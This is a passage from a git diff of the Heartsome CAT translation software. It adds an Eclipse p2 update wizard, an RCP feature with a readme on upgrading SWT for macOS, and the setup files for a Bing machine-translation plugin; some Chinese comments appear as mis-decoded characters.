\u5df2\u7ecf\u662f\u6700\u65b0\u7248\u672c\uff0c\u6682\u65e0\u66f4\u65b0\u3002 + +UI_WIZARD_DIALOG_TITLE = \u6267\u884c\u66f4\u65b0 +UI_WIZARD_PAGE_TITLE = \u66f4\u65b0\u5185\u5bb9 +UI_WIZARD_PAGE_DESC = \u672c\u6b21\u66f4\u65b0\u7684\u5185\u5bb9\u5217\u8868 +UI_WIZARD_DESC_PAGE_TITLE = \u66f4\u65b0\u5185\u5bb9 +UI_WIZARD_DESC_PAGE_DESC = \u672c\u6b21\u66f4\u65b0\u7684\u5185\u5bb9\u5217\u8868 + +#20120924 add by jason +UI_WIZARD_DESC_PAGE_DESC_DETAIL = \u53d1\u73b0\u65b0\u7248\u672c\uff1a diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateDescriptionPage.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateDescriptionPage.java new file mode 100644 index 0000000..aac8374 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateDescriptionPage.java @@ -0,0 +1,113 @@ +package net.heartsome.cat.p2update.ui; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.equinox.internal.p2.ui.ProvUI; +import org.eclipse.equinox.internal.p2.ui.model.AvailableIUElement; +import org.eclipse.equinox.internal.p2.ui.model.AvailableUpdateElement; +import org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot; +import org.eclipse.equinox.p2.metadata.IInstallableUnit; +import org.eclipse.equinox.p2.operations.Update; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.ProvisioningUI; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Text; + +/** + * æ›´æ–°å‘导页,用于显示当å‰æ›´æ–°çš„文字æ述内容 + * @author Jason + * @version + * @since JDK1.6 + */ +public class UpdateDescriptionPage extends WizardPage { + + IUElementListRoot root; + ProvisioningUI ui; + UpdateOperation operation; + + /** + * root å‚数未使用 + * @param operation + * @param root + * @param ui + */ + protected UpdateDescriptionPage(UpdateOperation operation, IUElementListRoot root, ProvisioningUI ui) { + super("MyUpdsateDescriptionPage"); + setTitle(P2UpdateUtil.UI_WIZARD_DESC_PAGE_TITLE); + setDescription(P2UpdateUtil.UI_WIZARD_DESC_PAGE_DESC); + this.ui = ui; + this.root = root; + this.operation = operation; + } + + public void createControl(Composite parent) { + Text text = new Text(parent, SWT.MULTI | SWT.V_SCROLL | SWT.BORDER); + Color color = text.getBackground(); + text.setEditable(false); + text.setBackground(color); + text.setText(getUpdateDescDetailText()); + setControl(text); + } + + private String getUpdateDescDetailText() { + StringBuffer descBf = new StringBuffer(); + Update[] updates = operation.getSelectedUpdates(); + if (updates.length == 0) { + // no udpates; + setPageComplete(false); + return P2UpdateUtil.UPDATE_PROMPT_INFO_NO_UPDATE; + } + Update update = updates[0]; + AvailableUpdateElement newElement = new AvailableUpdateElement(null, update.replacement, update.toUpdate, + ui.getProfileId(), ProvUI.getQueryContext(ui.getPolicy()).getShowProvisioningPlanChildren()); + descBf.append(P2UpdateUtil.UI_WIZARD_DESC_PAGE_DESC_DETAIL).append(newElement.getIU().getVersion()) + .append("\n\n"); + + newElement.setQueryable(operation.getProvisioningPlan().getAdditions()); + Object[] children = newElement.getChildren(newElement); + StringBuffer temp = new StringBuffer(); + if (children != null && children.length != 0) { + AvailableIUElement c = (AvailableIUElement) children[0]; + String detail = c.getIU().getProperty(IInstallableUnit.PROP_DESCRIPTION, null); + if (detail == null) + detail = ""; + temp.append(detail); + } + String descResult = ""; + if (temp.length() != 0) { + String lang = CommonFunction.getSystemLanguage(); + String szh = "[-zh-]"; + String sen = "[-en-]"; + try { + if (lang.equals("en")) { + descResult = temp.substring(sen.length() + 1, temp.indexOf(szh) - 1); + } else if (lang.equals("zh")) { + descResult = temp.substring(temp.indexOf(szh) + szh.length() + 1, temp.length()); + } + } catch (StringIndexOutOfBoundsException e) { + e.printStackTrace(); + descResult = temp.toString(); + } + } + return descBf.append(descResult).toString(); + + // String detail = ""; + // Object[] elements = root.getChildren(root); + // if(elements.length > 0){ + // AvailableUpdateElement element = (AvailableUpdateElement) elements[0]; + // Object[] children = element.getChildren(element); + // if(children != null && children.length != 0){ + // AvailableIUElement c = (AvailableIUElement) children[0]; + // IInstallableUnit selectedIU = ElementUtils.elementToIU(c); + // detail = selectedIU.getProperty(IInstallableUnit.PROP_DESCRIPTION, null); + // if (detail == null) + // detail = ""; + // } + // } + } + +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizard.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizard.java new file mode 100644 index 0000000..5d0b5df --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizard.java @@ -0,0 +1,95 @@ +package net.heartsome.cat.p2update.ui; + +import java.util.ArrayList; + +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.equinox.internal.p2.ui.ProvUI; +import org.eclipse.equinox.internal.p2.ui.model.AvailableUpdateElement; +import org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot; +import org.eclipse.equinox.p2.operations.ProfileModificationJob; +import org.eclipse.equinox.p2.operations.Update; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.Policy; +import org.eclipse.equinox.p2.ui.ProvisioningUI; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.statushandlers.StatusManager; + +/** + * æ›´æ–°å‘导 + * @author Jason + * @version + * @since JDK1.6 + */ +public class UpdateWizard extends Wizard { + + Update[] initialSelections; + UpdateOperation operation; + ProvisioningUI ui; + // UpdateWizardPage fristPage; + protected IUElementListRoot root; + + public UpdateWizard(ProvisioningUI ui, UpdateOperation operation, Object[] initialSelections) { + Assert.isLegal(operation.hasResolved(), "Cannot create an update wizard on an unresolved operation"); //$NON-NLS-1$ + setWindowTitle(P2UpdateUtil.UI_WIZARD_DIALOG_TITLE); + // setDefaultPageImageDescriptor(ProvUIImages.getImageDescriptor(ProvUIImages.WIZARD_BANNER_UPDATE)); + this.operation = operation; + // this.initialSelections = (Update[]) initialSelections; + this.ui = ui; + // initializeResolutionModelElements(initialSelections); + setNeedsProgressMonitor(true); + } + + @Override + public void addPages() { + // fristPage = new UpdateWizardPage(operation, root, ui); + // addPage(fristPage); + UpdateDescriptionPage descPage = new UpdateDescriptionPage(operation, root, ui); + addPage(descPage); + } + + @Override + public boolean performFinish() { + if (operation.getResolutionResult().getSeverity() != IStatus.ERROR) { + ProfileModificationJob job = (ProfileModificationJob) operation.getProvisioningJob(null); + job.setName(P2UpdateUtil.EXECUTE_UPDATE_JOB_NAME); + job.setTaskName(P2UpdateUtil.EXECUTE_UPDATE_Task_NAME); + ui.schedule(job, StatusManager.SHOW | StatusManager.LOG); + return true; + } + return false; + } + + protected void initializeResolutionModelElements(Object[] selectedElements) { + root = new IUElementListRoot(); + ArrayList list = new ArrayList(selectedElements.length); + for (int i = 0; i < selectedElements.length; i++) { + if (selectedElements[i] instanceof AvailableUpdateElement) { + AvailableUpdateElement element = (AvailableUpdateElement) selectedElements[i]; + AvailableUpdateElement newElement = new AvailableUpdateElement(root, element.getIU(), + element.getIUToBeUpdated(), getProfileId(), shouldShowProvisioningPlanChildren()); + list.add(newElement); + } else if (selectedElements[i] instanceof Update) { + Update update = (Update) selectedElements[i]; + AvailableUpdateElement newElement = new AvailableUpdateElement(root, update.replacement, + update.toUpdate, getProfileId(), shouldShowProvisioningPlanChildren()); + list.add(newElement); + } + } + root.setChildren(list.toArray()); + } + + protected boolean shouldShowProvisioningPlanChildren() { + return ProvUI.getQueryContext(getPolicy()).getShowProvisioningPlanChildren(); + } + + protected Policy getPolicy() { + return ui.getPolicy(); + } + + protected String getProfileId() { + return ui.getProfileId(); + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizardPage.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizardPage.java new file mode 100644 index 0000000..12dc603 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/ui/UpdateWizardPage.java @@ -0,0 +1,189 @@ +package net.heartsome.cat.p2update.ui; + +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.equinox.internal.p2.ui.ProvUIActivator; +import org.eclipse.equinox.internal.p2.ui.ProvUIMessages; +import org.eclipse.equinox.internal.p2.ui.dialogs.ILayoutConstants; +import org.eclipse.equinox.internal.p2.ui.dialogs.IUDetailsGroup; +import org.eclipse.equinox.internal.p2.ui.dialogs.ResolutionStatusPage; +import org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot; +import org.eclipse.equinox.internal.p2.ui.model.QueriedElement; +import org.eclipse.equinox.internal.p2.ui.viewers.IUColumnConfig; +import org.eclipse.equinox.internal.p2.ui.viewers.IUDetailsLabelProvider; +import org.eclipse.equinox.internal.p2.ui.viewers.ProvElementContentProvider; +import org.eclipse.equinox.p2.metadata.IInstallableUnit; +import org.eclipse.equinox.p2.operations.ProfileChangeOperation; +import org.eclipse.equinox.p2.operations.ProfileModificationJob; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.ProvisioningUI; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.SashForm; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeColumn; +import org.eclipse.ui.statushandlers.StatusManager; + +/** + * æ›´æ–°å‘导页,用于显示需è¦æ›´æ–°çš„程åºå†…容 + * @author Jason + * @version + * @since JDK1.6 + */ +public class UpdateWizardPage extends ResolutionStatusPage { + ProvisioningUI ui; + UpdateOperation operation; + IUElementListRoot input; + TreeViewer treeViewer; + + ProvElementContentProvider contentProvider; + IUDetailsLabelProvider labelProvider; + + protected UpdateWizardPage(UpdateOperation operation,IUElementListRoot root, ProvisioningUI ui) { + super("MyUpdasteWizardPage1", ui, null); + this.ui = ui; + this.operation = operation; + this.input = root; + setTitle(P2UpdateUtil.UI_WIZARD_PAGE_TITLE); + setDescription(P2UpdateUtil.UI_WIZARD_PAGE_DESC); + } + + public void createControl(final Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + GridLayout gridLayout = new GridLayout(); + gridLayout.marginWidth = 0; + gridLayout.marginHeight = 0; + composite.setLayout(gridLayout); + + treeViewer = new TreeViewer(composite, SWT.BORDER | SWT.SINGLE | SWT.FULL_SELECTION); + GridData data = new GridData(GridData.FILL_BOTH); + Tree tree = treeViewer.getTree(); + tree.setLayoutData(data); + tree.setHeaderVisible(true); + + IUColumnConfig[] columns = getColumnConfig(); + for (int i = 0; i < columns.length; i++) { + TreeColumn tc = new TreeColumn(tree, SWT.LEFT, i); + tc.setResizable(true); + tc.setText(columns[i].getColumnTitle()); + tc.setWidth(columns[i].getWidthInPixels(tree)); + } + + contentProvider = new ProvElementContentProvider(); + treeViewer.setContentProvider(contentProvider); + labelProvider = new IUDetailsLabelProvider(null, getColumnConfig(), getShell()); + treeViewer.setLabelProvider(labelProvider); + + setControl(composite); + + final Runnable runnable = new Runnable() { + public void run() { +// updateStatus(input, operation); + setDrilldownElements(input, operation); + treeViewer.setInput(input); + } + }; + + if (operation != null && !operation.hasResolved()) { + try { + getContainer().run(true, false, new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + operation.resolveModal(monitor); + parent.getDisplay().asyncExec(runnable); + } + }); + } catch (Exception e) { + StatusManager.getManager().handle(new Status(IStatus.ERROR, ProvUIActivator.PLUGIN_ID, e.getMessage(), e)); + } + } else { + runnable.run(); + } + } + + public boolean performFinish() { + if (operation.getResolutionResult().getSeverity() != IStatus.ERROR) { + ProfileModificationJob job = (ProfileModificationJob) operation.getProvisioningJob(null); + job.setName(P2UpdateUtil.EXECUTE_UPDATE_JOB_NAME); + job.setTaskName(P2UpdateUtil.EXECUTE_UPDATE_Task_NAME); + getProvisioningUI().schedule(job, StatusManager.SHOW | StatusManager.LOG); + return true; + } + return false; + } + + void setDrilldownElements(IUElementListRoot root, ProfileChangeOperation operation) { + if (operation == null || operation.getProvisioningPlan() == null) + return; + Object[] elements = root.getChildren(root); + for (int i = 0; i < elements.length; i++) { + if (elements[i] instanceof QueriedElement) { + ((QueriedElement) elements[i]).setQueryable(operation.getProvisioningPlan().getAdditions()); + } + } + } + + @Override + protected void updateCaches(IUElementListRoot newRoot, + ProfileChangeOperation op) { + operation = (UpdateOperation) op; + if (newRoot != null) { + setDrilldownElements(newRoot, operation); + if (treeViewer != null) { + if (input != newRoot) + treeViewer.setInput(newRoot); + else + treeViewer.refresh(); + } + input = newRoot; + } + } + + @Override + protected boolean isCreated() { + return false; + } + + @Override + protected IUDetailsGroup getDetailsGroup() { + return null; + } + + @Override + protected IInstallableUnit getSelectedIU() { + return null; + } + + @Override + protected Object[] getSelectedElements() { + return null; + } + + @Override + protected String getDialogSettingsName() { + return null; + } + + @Override + protected SashForm getSashForm() { + return null; + } + + @Override + protected int getColumnWidth(int index) { + return 0; + } + + @Override + protected String getClipboardText(Control control) { + return null; + } + +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/util/P2UpdateUtil.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/util/P2UpdateUtil.java new file mode 100644 index 0000000..ee24897 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/util/P2UpdateUtil.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.p2update.util; + +import net.heartsome.cat.p2update.resource.Messages; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; + +public class P2UpdateUtil { + + public final static int INFO_TYPE_CHECK = 1; + + public final static int INFO_TYPE_AUTO_CHECK = 2; + + public static void openConnectErrorInfoDialog(Shell shell, int type) { + if (type == INFO_TYPE_AUTO_CHECK) { + MessageDialog.openInformation(shell, AUTO_UPDATE_PROMPT_INFO_TITLE, UPDATE_PROMPT_INFO_CONTENT); + } else if (type == INFO_TYPE_CHECK) { + MessageDialog.openInformation(shell, UPDATE_PROMPT_INFO_TITLE, UPDATE_PROMPT_INFO_CONTENT); + } + } + + + public final static String ATUO_CHECK_UPDATE_JOB_NAME = Messages.getString("ATUO_CHECK_UPDATE_JOB_NAME"); + public final static String CHECK_UPDATE_JOB_NAME = Messages.getString("CHECK_UPDATE_JOB_NAME");; + + public final static String CHECK_UPDATE_TASK_NAME = Messages.getString("CHECK_UPDATE_TASK_NAME"); + + public final static String EXECUTE_UPDATE_JOB_NAME = Messages.getString("EXECUTE_UPDATE_JOB_NAME"); + public final static String EXECUTE_UPDATE_Task_NAME = Messages.getString("EXECUTE_UPDATE_Task_NAME"); + + public final static String AUTO_UPDATE_PROMPT_INFO_TITLE = Messages.getString("AUTO_UPDATE_PROMPT_INFO_TITLE"); + public final static String UPDATE_PROMPT_INFO_TITLE = Messages.getString("UPDATE_PROMPT_INFO_TITLE"); + public final static String UPDATE_PROMPT_INFO_CONTENT = Messages.getString("UPDATE_PROMPT_INFO_CONTENT"); + + public final static String UI_WIZARD_DIALOG_TITLE = Messages.getString("UI_WIZARD_DIALOG_TITLE"); + public final static String UI_WIZARD_PAGE_TITLE = Messages.getString("UI_WIZARD_PAGE_TITLE"); + public final static String UI_WIZARD_PAGE_DESC = Messages.getString("UI_WIZARD_PAGE_DESC"); + public final static String UI_WIZARD_DESC_PAGE_TITLE = Messages.getString("UI_WIZARD_DESC_PAGE_TITLE"); + public final static String UI_WIZARD_DESC_PAGE_DESC = Messages.getString("UI_WIZARD_DESC_PAGE_DESC"); + public final static String UPDATE_PROMPT_INFO_NO_UPDATE = Messages.getString("UPDATE_PROMPT_INFO_NO_UPDATE"); + + public final static String UI_WIZARD_DESC_PAGE_DESC_DETAIL = Messages.getString("UI_WIZARD_DESC_PAGE_DESC_DETAIL"); +} + diff --git a/ts/net.heartsome.cat.rcp/.project b/ts/net.heartsome.cat.rcp/.project new file mode 100644 index 0000000..1652119 --- /dev/null +++ b/ts/net.heartsome.cat.rcp/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.rcp + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.rcp/build.properties b/ts/net.heartsome.cat.rcp/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/ts/net.heartsome.cat.rcp/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/ts/net.heartsome.cat.rcp/feature.xml b/ts/net.heartsome.cat.rcp/feature.xml new file mode 100644 index 0000000..870797b --- /dev/null +++ b/ts/net.heartsome.cat.rcp/feature.xml @@ -0,0 +1,559 @@ + + + + + %description + + + + %copyright + + + + %license + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/ts/net.heartsome.cat.rcp/\345\205\263\344\272\216 net.heartsome.cat.rcp \347\232\204\344\273\213\347\273\215.txt" "b/ts/net.heartsome.cat.rcp/\345\205\263\344\272\216 net.heartsome.cat.rcp \347\232\204\344\273\213\347\273\215.txt" new file mode 100644 index 0000000..99a1970 --- /dev/null +++ "b/ts/net.heartsome.cat.rcp/\345\205\263\344\272\216 net.heartsome.cat.rcp \347\232\204\344\273\213\347\273\215.txt" @@ -0,0 +1,16 @@ +author robert 2013-11-13 + +这个 feature 主è¦æ˜¯ä¸ºäº†æ›¿æ¢ã€€org.eclipse.rcp, 里é¢çš„一些æ’件与 org.eclipse.rcp 的相差ä¸å¤§ï¼Œåªæ˜¯é’ˆå¯¹å…¶ä¸­çš„ mac 下 deal pack çš„æ’件åšäº†ä¿®æ”¹ã€‚ + +修改原因:mac 系统å‡çº§åˆ°ã€€10.9 时,3.7 的 swt jar 包中的 FileDialog 与 DirectionDialog åªèƒ½è¿è¡Œä¸€æ¬¡ï¼Œå¹¶ä¸”无法显示正确的路径。因此将 org.eclipse.swt.cocoa.macosx.x86_64 从 3.7 å‡çº§åˆ°ã€€4.3。 + +其他修改:org.eclipse.rcp 里é¢çš„ deal pack 还有 32 ä½çš„,以åŠã€€carbon 类型的 swt 架包,由于 r8 åªæ‰“ mac 64 ä½ã€€cocoa 类型的,故其他都已ç»åˆ é™¤ã€‚ + +相关 mac 下打包的几个å‚数讲解: +window systems: 分 cocoa 与 carbon,cocoa å’Œ carbon 是 Mac 的两套ä¸åŒçš„ API ,cocoa 比较新,carbon 是è€æ—§ç‰ˆæœ¬çš„系统上用的 + +Architecture : 分 ppc 与 x86, ppc å’Œ x86 是 CPU 类型å§ï¼Œä»¥å‰çš„苹果机用的 PowerPC CPU 是 Motorola 还是 IBM åšçš„了,现在都用 Intel çš„ x86 CPU 了。 + + +deal pack çš„æ’件,其中这些æ’件的下载网å€ä¸ºï¼š +eclipse 相关架包下载地å€ï¼šhttp://download.eclipse.org/eclipse/downloads/drops4/R-4.3-201306052000/#SWT \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.bingtrans/.classpath b/ts/net.heartsome.cat.ts.bingtrans/.classpath new file mode 100644 index 0000000..d0e7624 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.bingtrans/.project b/ts/net.heartsome.cat.ts.bingtrans/.project new file mode 100644 index 0000000..28f8a22 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.bingtrans + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.bingtrans/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.bingtrans/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.bingtrans/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.bingtrans/META-INF/MANIFEST.MF new file mode 100644 index 0000000..40429c2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/META-INF/MANIFEST.MF @@ -0,0 +1,21 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Bing +Bundle-SymbolicName: net.heartsome.cat.ts.bingtrans;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130220 +Bundle-Activator: net.heartsome.cat.ts.bingtrans.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.ts.tm;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.cat.ts.ui.translation;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: ., + lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.ui +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.bingtrans/build.properties b/ts/net.heartsome.cat.ts.bingtrans/build.properties new file mode 100644 index 0000000..59df46e --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/build.properties @@ -0,0 +1,11 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/bing_trans.png b/ts/net.heartsome.cat.ts.bingtrans/images/bing_trans.png new file mode 100644 index 0000000..254d935 Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/bing_trans.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/error.png b/ts/net.heartsome.cat.ts.bingtrans/images/error.png new file mode 100644 index 0000000..c604004 Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/error.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/right.png b/ts/net.heartsome.cat.ts.bingtrans/images/right.png new file mode 100644 index 0000000..c09780d Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/right.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_key_32.png b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_key_32.png new file mode 100644 index 0000000..729fde4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_key_32.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_set_32.png b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_set_32.png new file mode 100644 index 0000000..0d497d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_set_32.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_trans_32.png b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_trans_32.png new file mode 100644 index 0000000..00a2de0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/images/trans_bing_trans_32.png differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar b/ts/net.heartsome.cat.ts.bingtrans/lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar new file mode 100644 index 0000000..d9aa34a Binary files /dev/null and b/ts/net.heartsome.cat.ts.bingtrans/lib/microsoft-translator-java-api-0.6.1-jar-with-dependencies.jar differ diff --git a/ts/net.heartsome.cat.ts.bingtrans/plugin.properties b/ts/net.heartsome.cat.ts.bingtrans/plugin.properties new file mode 100644 index 0000000..2f71c07 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/plugin.properties @@ -0,0 +1,3 @@ +preferencePages.bingTrans = Bing Translator +menu.executeTrans = Bing \u673a\u5668\u7ffb\u8bd1 +command.executeTrans = Bing \u673a\u5668\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.bingtrans/plugin.xml b/ts/net.heartsome.cat.ts.bingtrans/plugin.xml new file mode 100644 index 0000000..5d8f36d --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/plugin.xml @@ -0,0 +1,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.bingtrans/plugin_en.properties b/ts/net.heartsome.cat.ts.bingtrans/plugin_en.properties new file mode 100644 index 0000000..54d8362 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/plugin_en.properties @@ -0,0 +1,3 @@ +preferencePages.bingTrans = Bing Translator +menu.executeTrans = Bing Machine Translation +command.executeTrans = Bing Machine Translation diff --git a/ts/net.heartsome.cat.ts.bingtrans/plugin_zh.properties b/ts/net.heartsome.cat.ts.bingtrans/plugin_zh.properties new file mode 100644 index 0000000..2f71c07 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/plugin_zh.properties @@ -0,0 +1,3 @@ +preferencePages.bingTrans = Bing Translator +menu.executeTrans = Bing \u673a\u5668\u7ffb\u8bd1 +command.executeTrans = Bing \u673a\u5668\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/Activator.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/Activator.java new file mode 100644 index 0000000..5f3e09d --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/Activator.java @@ -0,0 +1,60 @@ +package net.heartsome.cat.ts.bingtrans; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.bingtrans"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/BingTransUtils.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/BingTransUtils.java new file mode 100644 index 0000000..fdd3802 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/BingTransUtils.java @@ -0,0 +1,48 @@ +/** + * GoogleTransUtils.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ 